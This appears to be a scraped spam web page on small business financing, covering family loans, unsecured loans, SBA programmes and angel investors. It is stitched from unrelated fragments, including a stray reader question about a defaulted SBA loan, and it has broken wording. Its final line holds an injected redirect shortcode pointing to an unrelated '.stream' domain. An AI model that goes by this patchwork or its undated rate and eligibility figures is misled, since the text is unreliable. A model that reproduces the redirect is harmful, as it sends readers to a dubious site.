Hitting up family and friends is the most common way to finance a start-up. But when you turn loved ones into creditors, you’re risking their financial future and jeopardizing important personal relationships. A classic mistake is approaching friends and family before a formal business plan is even in place. To avoid it, you should supply formal financial projections, as well as an evidence-based assessment of when your loved ones will see their money again. This should reduce the likelihood of unpleasant surprises. It also lets your investors know you take their money seriously. You also need to seriously consider how the arrangement will be structured. Are you equity? Or will this be a loan? Perhaps most importantly, you need to emphasize the risk involved. Offer up a strong business plan, but remind them there is a good chance their money will be lost. It’s better to mention that upfront to Aunt Gladys rather than over Thanksgiving dinner.
One of the best options you have when your business is facing a short-term financial need is an unsecured business loan – and you won’t have to risk important company assets. There’s also no risk to your home, vehicles, or long-term assets like a 401(k) or IRA.
There’s a lot more legwork involved in getting a small business loan compared with a personal loan. You’ll need to stay organized, have a clear idea of your needs, and be tenacious if you’re turned down. Here are some tips for getting the best small business financing:
I defaulted on an Sba loan in 2007. I just filed federal taxes and was to receive a refund. I received a letter stating they are keeping my return. My worry is my house. Will they send me notice of liens? Can they forclose on it? The loan was for $14,500.
To apply for an SBA microloan, you must work with an SBA-approved intermediary in your area. Here’s a list of SBA-approved intermediaries. While SBA Microloans are smaller in size, they typically take just as long as SBA 7(a) loans to obtain, which can mean several months.
Don’t be a fad-follower: Did you start your company because you are truly passionate about your idea or because you want to cash in on the latest trend? Angels can spot the difference and won’t give much attention to those whose companies are essentially get-rich-quick schemes.
CDC / SBA 504 Loan This program combines a loan from a nonprofit CDC with a loan from a bank to create a long term, low interest rate loan for up to $20 million for the purchase of owner occupied commercial real estate and heavy equipment Rates: 3.78 – 5.39%
To find out what sets these lenders apart from the competition, keep reading. I’ll profile each company and describe my criteria for picking the best small business loans. I’ll also cover some basics on small business financing, including where you should look for loans and tips for getting approved.
SBA International Trade Loan Program: Funding up to $5 million in working capital and/or fixed assets for businesses that export or for businesses negatively impacted by imports. Terms up to 25 years.
The 504 program eligibility is more relaxed. Applicants must have a maximum business net worth of $15 million and an average income of less than $5 million for each of the past two years. Other restrictions described in the 7(a) program also apply.
Some entrepreneurs and business owners have misconceptions about SBA-backed loans. “The business has to be in good standing,” Cruz says. “Another misconception is the SBA comes in to help a business that would have failed. ‘We the people’ don’t want out money to be used to guarantee a failing business. The program doesn’t exist just to give a woman a loan. She has to be a woman with decent credit, money of her own, a great business plan, and a little success. You can’t have a business that lost money and expect the SBA or anybody else to guarantee that loan. It wouldn’t make sense.”
Fora Financial makes business capital, including business loans and Merchant Cash Advances (“MCA”), available through its partners and subsidiaries. Business loans and MCA are not available in all states and are subject to certain eligibility requirements and approval. Business loans are offered by Fora Financial Business Loans LLC. MCA are offered by Fora Financial Advance LLC. MCA are purchases of future receivables, not loan products. Certain MCA and business loan products are made available through Fora Financial West LLC, a licensed California Finance Lender.
SBA Microloan qualifications will vary from intermediary to intermediary. Unlike most of SBA loan programs, the SBA leaves qualifications up to the intermediary which set all eligibility requirements and make all credit decisions. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]